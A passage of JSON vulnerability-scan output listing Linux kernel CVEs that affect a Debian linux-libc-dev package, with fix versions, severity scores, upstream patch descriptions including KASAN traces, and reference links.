"https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64399" ], "PublishedDate": "2026-07-25T10:17:23.397Z", "LastModifiedDate": "2026-09-04T14:46:44.06Z" }, { "VulnerabilityID": "CVE-2026-64400", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64400", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:302fc12b21a11dd7da3900def1a9e65eff956aa7f6527354a8822ec39b75823a", "Title": "kernel: ksmbd: prevent path traversal bypass by restricting caseless retry", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: prevent path traversal bypass by restricting caseless retry\n\nksmbd_vfs_path_lookup() enforces LOOKUP_BENEATH to restrict path\nresolution within the share root. When a crafted path attempts to\nescape the share boundary using parent-directory components ('..'),\nvfs_path_parent_lookup() detects this and immediately fails,\nreturning -EXDEV.\n\nHowever, a bug exists in __ksmbd_vfs_kern_path() under caseless mode.\nThe function fails to intercept the -EXDEV error and erroneously\nfalls through to the caseless retry logic, which is intended only\nfor genuinely missing files. During this retry process, the path\nis reconstructed, leading to an unintended LOOKUP_BENEATH bypass\nthat allows write-capable users to create zero-length files or\ndirectories outside the exported share.\n\nFix this by ensuring that the execution only proceeds to the caseless\nlookup retry when the error is specifically -ENOENT. Any other errors,\nsuch as -EXDEV from a path traversal attempt, must be returned immediately.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64400", "https://git.kernel.org/linus/54bab9ba5a9f156ffa9324fcbe5a356fd0242f95%20%287.2-rc1%29", "https://git.kernel.org/stable/c/21f050439db157f2afcc19885dec14549ca6ffc0", "https://git.kernel.org/stable/c/54bab9ba5a9f156ffa9324fcbe5a356fd0242f95", "https://git.kernel.org/stable/c/8c9a4f1327eb71efbf14842e7b8a6d965077eb67", "https://git.kernel.org/stable/c/a1c331d98313380c38f616c8b28b890ec8ef9c28", "https://git.kernel.org/stable/c/cfb5a56c218888f9d74165dff0c282cd0be97983", "https://git.kernel.org/stable/c/eec1dd2586c4016b7555a5d047db2b3756459fb2", "https://lore.kernel.org/linux-cve-announce/2026072529-CVE-2026-64400-d372@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64400", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://www.cve.org/CVERecord?id=CVE-2026-64400" ], "PublishedDate": "2026-07-25T10:17:23.51Z", "LastModifiedDate": "2026-10-30T13:19:36.18Z" }, { "VulnerabilityID": "CVE-2026-64407", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64407", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e49166055c5405a778d0010fe04b29b4ce2910025de6e2abe63f599154d26fdd", "Title": "kernel: Bluetooth: btnxpuart: Fix out-of-bounds firmware read in nxp_recv_fw_req_v3()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: btnxpuart: Fix out-of-bounds firmware read in nxp_recv_fw_req_v3()\n\nDuring the v3 firmware download the controller sends a v3_data_req with a\n32 bit offset and a 16 bit len. nxp_recv_fw_req_v3() checks only the lower\nbound of the offset and then sends firmware from that offset.\n\n nxpdev-\u003efw_dnld_v3_offset = offset - nxpdev-\u003efw_v3_offset_correction;\n serdev_device_write_buf(nxpdev-\u003eserdev, nxpdev-\u003efw-\u003edata +\n nxpdev-\u003efw_dnld_v3_offset, len);\n\nNothing checks that fw_dnld_v3_offset + len stays within nxpdev-\u003efw-\u003esize,\nso a controller that asks for an offset or length past the firmware image\nmakes the driver read past the end of nxpdev-\u003efw-\u003edata and send that\nmemory back over UART.\n\nnxp_recv_fw_req_v1() already bounds the same write. Add the equivalent\ncheck to the v3 path, reject the request when it falls outside the firmware\nimage, and zero len on the error path so the fw_v3_prev_sent bookkeeping at\nfree_skb stays consistent.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64407", "https://git.kernel.org/linus/badff6c3bed8923a1257a853f137d447976eec30%20%287.2-rc3%29", "https://git.kernel.org/stable/c/21e60eb4d95854196e7c0e77383f35e7ac95df61", "https://git.kernel.org/stable/c/2a68a773089204af1c8581dc79668b775418c5ee", "https://git.kernel.org/stable/c/441088792ffec3ca01f4efe2934060570eb11eb8", "https://git.kernel.org/stable/c/49bcb39e3a041ce26021f77971eaccb49a275118", "https://git.kernel.org/stable/c/badff6c3bed8923a1257a853f137d447976eec30", "https://kernelcve.org/list/?q=CVE-2026-64407", "https://lore.kernel.org/linux-cve-announce/2026072531-CVE-2026-64407-c35d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64407", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64407" ], "PublishedDate": "2026-07-25T10:17:24.407Z", "LastModifiedDate": "2026-09-04T15:29:43.383Z" }, { "VulnerabilityID": "CVE-2026-64421", "VendorIDs": [ "DSA-6405-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64421", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b80b2fc00d95add4eb9c67d7308fda9bb585ade7d9d39343d5cce5265b4dfb77", "Title": "kernel: media: nxp: imx8-isi: Fix use-after-free on remove", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: nxp: imx8-isi: Fix use-after-free on remove\n\nKASAN reports a slab-use-after-free in __media_entity_remove_link()\nduring rmmod of imx8_isi:\n\n BUG: KASAN: slab-use-after-free in __media_entity_remove_link+0x608/0x650\n Read of size 2 at addr ffff0000d47cb02a by task rmmod/724\n\n Call trace:\n __media_entity_remove_link+0x608/0x650\n __media_entity_remove_links+0x78/0x144\n __media_device_unregister_entity+0x150/0x280\n media_device_unregister_entity+0x48/0x68\n v4l2_device_unregister_subdev+0x158/0x300\n v4l2_async_unbind_subdev_one+0x22c/0x358\n v4l2_async_nf_unbind_all_subdevs+0xfc/0x1c0\n v4l2_async_nf_unregister+0x5c/0x14c\n mxc_isi_remove+0x124/0x2a0 [imx8_isi]\n\n Allocated by task 249:\n __kmalloc_noprof+0x27c/0x690\n mxc_isi_crossbar_init+0x22c/0x560 [imx8_isi]\n\n Freed by task 724:\n kfree+0x1e4/0x5b0\n mxc_isi_crossbar_cleanup+0x34/0x80 [imx8_isi]\n mxc_isi_remove+0x11c/0x2a0 [imx8_isi]\n\nThe problem is that mxc_isi_remove() calls mxc_isi_crossbar_cleanup()\nbefore mxc_isi_v4l2_cleanup(). The crossbar cleanup frees the media\nentity pads, but the subsequent v4l2 cleanup still tries to remove\nmedia links that reference those pads.\n\nFix this by calling mxc_isi_v4l2_cleanup() before\nmxc_isi_crossbar_cleanup() to ensure all media entities are properly\nunregistered while the pads are still valid.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64421", "https://git.kernel.org/linus/b670bf89824ede5d07d20bb9bfbafb754846081d%20%287.2-rc1%29", "https://git.kernel.org/stable/c/b670bf89824ede5d07d20bb9bfbafb754846081d", "https://git.kernel.org/stable/c/ba2aa5d325270cd965c44458c5ff5ab555e6af51", "https://git.kernel.org/stable/c/c12a5b2261351cd3b03921ce4720332ff5184b50", "https://git.kernel.org/stable/c/d22fb719654bfde6f682c9f14629f5f9534175b7", "https://git.kernel.org/stable/c/ef382a6baf0a95cf199fdf6bba2fd08e58b0a249", "https://lore.kernel.org/linux-cve-announce/2026072534-CVE-2026-64421-6833@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64421", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64421" ], "PublishedDate": "2026-07-25T10:17:26.097Z", "LastModifiedDate": "2026-09-04T15:16:38.903Z" }, { "VulnerabilityID": "CVE-2026-64424", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64424", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7d13003c96a1e77ec657885dc806fe5b9d7d7dbea5eb6b99039ada60a16b0148", "Title": "kernel: netpoll: fix a use-after-free on shutdown path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetpoll: fix a use-after-free on shutdown path\n\nThere is a use-after-free error on netpoll, which is clearly detected by\nKASAN.\n\n BUG: KASAN: slab-use-after-free in _raw_spin_lock_irqsave+0x3b/0x80\n Read of size 1 at addr ... by task kworker/9:1\n Workqueue: events queue_process\n Call Trace:\n skb_dequeue+0x1e/0xb0\n queue_process+0x2c/0x600\n process_scheduled_works+0x4b6/0x850\n worker_thread+0x414/0x5a0\n Allocated by task 242:\n __netpoll_setup+0x201/0x4a0\n netpoll_setup+0x249/0x550\n enabled_store+0x32f/0x380\n Freed by task 0:\n kfree+0x1b7/0x540\n rcu_core+0x3f8/0x7a0\n\nThe problem happens when there is a pending TX worker running in\nparallel with the cleanup path.\n\nThis is what happens on netpoll shutdown path:\n\n1) __netpoll_cleanup() is called\n2) set dev-\u003enpinfo to NULL\n3) call_rcu() with rcu_cleanup_netpoll_info()\n 3.1) rcu_cleanup_netpoll_info() tries to cancel all workers with\n cancel_delayed_work(), but doesn't wait for the worker to finish\n4) and kfree(npinfo);\n\nBecause 3.1) doesn't really cancel the work, as the comment says \"we\ncan't call cancel_delayed_work_sync here, as we are in softirq\", the TX\nworker can run after 4).\n\nTl;DR: queue_process() is not an RCU reader, it reaches npinfo through\nthe work item via container_of().\n\nUse disable_delayed_work_sync() to ensure the worker is completely\nstopped and prevent any future re-arming attempts. Once npinfo is set\nto NULL, senders will bail out and not queue new work. The disable flag\nensures any in-flight re-arming attempts also fail silently.\n\nIn the future, we can do the cleanup inline here without needing the\nnpinfo-\u003ercu rcu_head, but that is net-next material.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64424", "https://git.kernel.org/linus/45f1458a85017a023f138b22ac5c76abd477db42%20%287.2-rc2%29", "https://git.kernel.org/stable/c/45f1458a85017a023f138b22ac5c76abd477db42", "https://git.kernel.org/stable/c/5ed09a108d93a3b002cc79823d9455b50c4a8be7", "https://git.kernel.org/stable/c/95ecc5b58042f6b6743b589e6588f1cd7ba336aa", "https://git.kernel.org/stable/c/a33f37f8d079da7236ed7b7e2aed2a34ab81e7cf", "https://git.kernel.org/stable/c/b67625b85c4b1a3725f4be9c6dd8ce3399d11732", "https://kernelcve.org/list/?q=CVE-2026-64424", "https://linux.oracle.com/cve/CVE-2026-64424.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072535-CVE-2026-64424-5caa@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64424", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64424" ], "PublishedDate": "2026-07-25T10:17:26.483Z", "LastModifiedDate": "2026-11-06T17:18:53.683Z" }, { "VulnerabilityID": "CVE-2026-64433", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64433", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:58d0b3bd69bc7101eed072a09f6ac6cda4973568180e705e08cf469d70bf25d2", "Title": "kernel: Bluetooth: MGMT: Fix UAF of hci_conn_params in add_device_complete", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: MGMT: Fix UAF of hci_conn_params in add_device_complete\n\nadd_device_complete() runs from the hci_cmd_sync_work kworker, which\nholds only hci_req_sync_lock and *not* hci_dev_lock. It calls\nhci_conn_params_lookup() and then dereferences the returned object\n(params-\u003eflags) without taking hci_dev_lock:\n\n\tparams = hci_conn_params_lookup(hdev, \u0026cp-\u003eaddr.bdaddr,\n\t\t\t\t\tle_addr_type(cp-\u003eaddr.type));\n\t...\n\tdevice_flags_changed(NULL, hdev, \u0026cp-\u003eaddr.bdaddr,\n\t\t\t cp-\u003eaddr.type, hdev-\u003econn_flags,\n\t\t\t params ? params-\u003eflags : 0);\n\nhci_conn_params_lookup() walks hdev-\u003ele_conn_params and is documented to\nrequire hdev-\u003elock. A concurrent MGMT_OP_REMOVE_DEVICE\n(remove_device()), which does run under hci_dev_lock, can call\nhci_conn_params_free() to list_del() and kfree() the very object the\nlookup returned, so the subsequent params-\u003eflags read touches freed\nmemory [0].\n\nHold hci_dev_lock() across the hci_conn_params_lookup() and the read of\nparams-\u003eflags (and the matching event emission) so the lookup result\ncannot be freed by a concurrent remove_device() before it is used,\nhonouring the locking contract of hci_conn_params_lookup().\n\n[0]: (trailing page/memory-state dump trimmed)\nBUG: KASAN: slab-use-after-free in add_device_complete+0x358/0x3d8 net/bluetooth/mgmt.c:7671\nRead of size 1 at addr ffff000017ab26c1 by task kworker/u9:8/388\n\nCPU: 1 UID: 0 PID: 388 Comm: kworker/u9:8 Not tainted 7.0.11 #20 PREEMPT\nHardware name: linux,dummy-virt (DT)\nWorkqueue: hci0 hci_cmd_sync_work\nCall trace:\n show_stack+0x2c/0x3c arch/arm64/kernel/stacktrace.c:499 (C)\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0xb4/0xd4 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0x118/0x5d8 mm/kasan/report.c:482\n kasan_report+0xb0/0xf4 mm/kasan/report.c:595\n __asan_report_load1_noabort+0x20/0x2c mm/kasan/report_generic.c:378\n add_device_complete+0x358/0x3d8 net/bluetooth/mgmt.c:7671\n hci_cmd_sync_work+0x14c/0x240 net/bluetooth/hci_sync.c:334\n process_one_work+0x628/0xd38 kernel/workqueue.c:3289\n process_scheduled_works kernel/workqueue.c:3372 [inline]\n worker_thread+0x7a8/0xac0 kernel/workqueue.c:3453\n kthread+0x39c/0x444 kernel/kthread.c:436\n ret_from_fork+0x10/0x20 arch/arm64/kernel/entry.S:860\n\nAllocated by task 3401:\n kasan_save_stack+0x3c/0x64 mm/kasan/common.c:57\n kasan_save_track+0x20/0x3c mm/kasan/common.c:78\n kasan_save_alloc_info+0x40/0x54 mm/kasan/generic.c:570\n poison_kmalloc_redzone mm/kasan/common.c:398 [inline]\n __kasan_kmalloc+0xd4/0xd8 mm/kasan/common.c:415\n kasan_kmalloc include/linux/kasan.h:263 [inline]\n __kmalloc_cache_noprof+0x1b0/0x458 mm/slub.c:5385\n kmalloc_noprof include/linux/slab.h:950 [inline]\n kzalloc_noprof include/linux/slab.h:1188 [inline]\n hci_conn_params_add+0x10c/0x4b0 net/bluetooth/hci_core.c:2279\n hci_conn_params_set net/bluetooth/mgmt.c:5162 [inline]\n add_device+0x5b4/0xa54 net/bluetooth/mgmt.c:7755\n hci_mgmt_cmd net/bluetooth/hci_sock.c:1721 [inline]\n hci_sock_sendmsg+0x10b4/0x1dd0 net/bluetooth/hci_sock.c:1841\n sock_sendmsg_nosec net/socket.c:727 [inline]\n __sock_sendmsg+0xe0/0x128 net/socket.c:742\n sock_write_iter+0x250/0x390 net/socket.c:1195\n new_sync_write fs/read_write.c:595 [inline]\n vfs_write+0x66c/0xab0 fs/read_write.c:688\n ksys_write+0x1fc/0x24c fs/read_write.c:740\n __do_sys_write fs/read_write.c:751 [inline]\n __se_sys_write fs/read_write.c:748 [inline]\n __arm64_sys_write+0x70/0xa4 fs/read_write.c:748\n __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline]\n invoke_syscall+0x84/0x2a8 arch/arm64/kernel/syscall.c:49\n el0_svc_common.constprop.0+0xe4/0x294 arch/arm64/kernel/syscall.c:132\n do_el0_svc+0x44/0x5c arch/arm64/kernel/syscall.c:151\n el0_svc+0x38/0xac arch/arm64/kernel/entry-common.c:724\n el0t_64_sync_handler+0xa0/0xe4 arch/arm64/kernel/entry-common.c:743\n el0t_64_sync+0x198/0x19c arch/arm64/kernel/entry.S:596\n\nFreed by task 3740:\n kasan_save_stack+0x3c/0x64 \n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64433", "https://git.kernel.org/linus/fa85d985f614bc3feb343000f14a1072e99b0df1%20%287.2-rc3%29", "https://git.kernel.org/stable/c/9531014c60c804e16099885d4a98aedcf31bce8d", "https://git.kernel.org/stable/c/b346efa825b5e4386f19bc63f81141652d496ec4", "https://git.kernel.org/stable/c/caed4a96d55757c139a899744657c032b6186665", "https://git.kernel.org/stable/c/e4369e4e970f3fa4676b76be14c1d315c87f22b6", "https://git.kernel.org/stable/c/fa85d985f614bc3feb343000f14a1072e99b0df1", "https://kernelcve.org/list/?q=CVE-2026-64433", "https://linux.oracle.com/cve/CVE-2026-64433.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072537-CVE-2026-64433-15ef@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64433", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64433" ], "PublishedDate": "2026-07-25T10:17:27.567Z", "LastModifiedDate": "2026-11-06T17:18:54.353Z" }, { "VulnerabilityID": "CVE-2026-64434", "VendorIDs": [ "DSA-6405-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64434", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9a248630d83b1215953f397589558947834661bcabb53505b083029b7be4fe25", "Title": "kernel: Bluetooth: L2CAP: Fix UAF in channel timeout by holding conn ref", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: Fix UAF in channel timeout by holding conn ref\n\nl2cap_chan_timeout() runs asynchronously and accesses chan-\u003econn. If\nthe connection is torn down while the timer is running or pending,\nchan-\u003econn can be freed, leading to a use-after-free when the timer\nworker attempts to lock conn-\u003elock:\n\n| BUG: KASAN: slab-use-after-free in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]\n| BUG: KASAN: slab-use-after-free in atomic_long_try_cmpxchg_acquire include/linux/atomic/atomic-instrumented.h:4456 [inline]\n| BUG: KASAN: slab-use-after-free in __mutex_trylock_fast kernel/locking/mutex.c:161 [inline]\n| BUG: KASAN: slab-use-after-free in mutex_lock+0x4f/0xa0 kernel/locking/mutex.c:318\n| Write of size 8 at addr ffff8881298d9550 by task kworker/2:1/83\n|\n| CPU: 2 UID: 0 PID: 83 Comm: kworker/2:1 Not tainted 7.1.0-rc6-next-20260601-dirty #6 PREEMPT(full)\n| Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014\n| Workqueue: events l2cap_chan_timeout\n| Call Trace:\n| \u003cTASK\u003e\n| instrument_atomic_read_write include/linux/instrumented.h:112 [inline]\n| atomic_long_try_cmpxchg_acquire include/linux/atomic/atomic-instrumented.h:4456 [inline]\n| __mutex_trylock_fast kernel/locking/mutex.c:161 [inline]\n| mutex_lock+0x4f/0xa0 kernel/locking/mutex.c:318\n| l2cap_chan_timeout+0x5d/0x1b0 net/bluetooth/l2cap_core.c:422\n| process_one_work kernel/workqueue.c:3326 [inline]\n| process_scheduled_works+0x7c8/0xfb0 kernel/workqueue.c:3409\n| worker_thread+0x8a9/0xcf0 kernel/workqueue.c:3490\n| kthread+0x346/0x430 kernel/kthread.c:436\n| ret_from_fork+0x1a3/0x470 arch/x86/kernel/process.c:158\n| ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245\n| \u003c/TASK\u003e\n|\n| Allocated by task 320:\n| l2cap_conn_add+0xa7/0x820 net/bluetooth/l2cap_core.c:7075\n| l2cap_connect_cfm+0xdb/0xd70 net/bluetooth/l2cap_core.c:7452\n| hci_connect_cfm include/net/bluetooth/hci_core.h:2139 [inline]\n| hci_remote_features_evt+0x52f/0x9f0 net/bluetooth/hci_event.c:3760\n| hci_event_func net/bluetooth/hci_event.c:7796 [inline]\n| hci_event_packet+0x561/0xa70 net/bluetooth/hci_event.c:7847\n| hci_rx_work+0x370/0x890 net/bluetooth/hci_core.c:4040\n| process_one_work kernel/workqueue.c:3326 [inline]\n| process_scheduled_works+0x7c8/0xfb0 kernel/workqueue.c:3409\n| worker_thread+0x8a9/0xcf0 kernel/workqueue.c:3490\n| kthread+0x346/0x430 kernel/kthread.c:436\n| ret_from_fork+0x1a3/0x470 arch/x86/kernel/process.c:158\n| ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245\n|\n| Freed by task 322:\n| hci_disconn_cfm include/net/bluetooth/hci_core.h:2154 [inline]\n| hci_conn_hash_flush+0x101/0x1f0 net/bluetooth/hci_conn.c:2736\n| hci_dev_close_sync+0x889/0xde0 net/bluetooth/hci_sync.c:5405\n| hci_dev_do_close net/bluetooth/hci_core.c:502 [inline]\n| hci_unregister_dev+0x1f7/0x370 net/bluetooth/hci_core.c:2679\n| vhci_release+0x12a/0x180 drivers/bluetooth/hci_vhci.c:690\n| __fput+0x369/0x890 fs/file_table.c:510\n| task_work_run+0x160/0x1d0 kernel/task_work.c:233\n| get_signal+0xf5b/0x1120 kernel/signal.c:2810\n| arch_do_signal_or_restart+0x4d/0x600 arch/x86/kernel/signal.c:337\n| __exit_to_user_mode_loop kernel/entry/common.c:64 [inline]\n| exit_to_user_mode_loop+0x85/0x510 kernel/entry/common.c:98\n| do_syscall_64+0x263/0x3d0 arch/x86/entry/syscall_64.c:100\n| entry_SYSCALL_64_after_hwframe+0x77/0x7f\n|\n| The buggy address belongs to the object at ffff8881298d9400\n| which belongs to the cache kmalloc-512 of size 512\n| The buggy address is located 336 bytes inside of\n| freed 512-byte region [ffff8881298d9400, ffff8881298d9600)\n\nFix it by having chan-\u003econn hold a reference to l2cap_conn (via\nl2cap_conn_get) when the channel is added to the connection, and\nreleasing it in the channel destructor. This ensures the l2cap_conn\nremains alive as long as the channel exists.\n\nA new FLAG_DEL channel flag is introduced to indicate that the ch\n---truncated---", "Severity": "HIGH", "CweIDs": [ 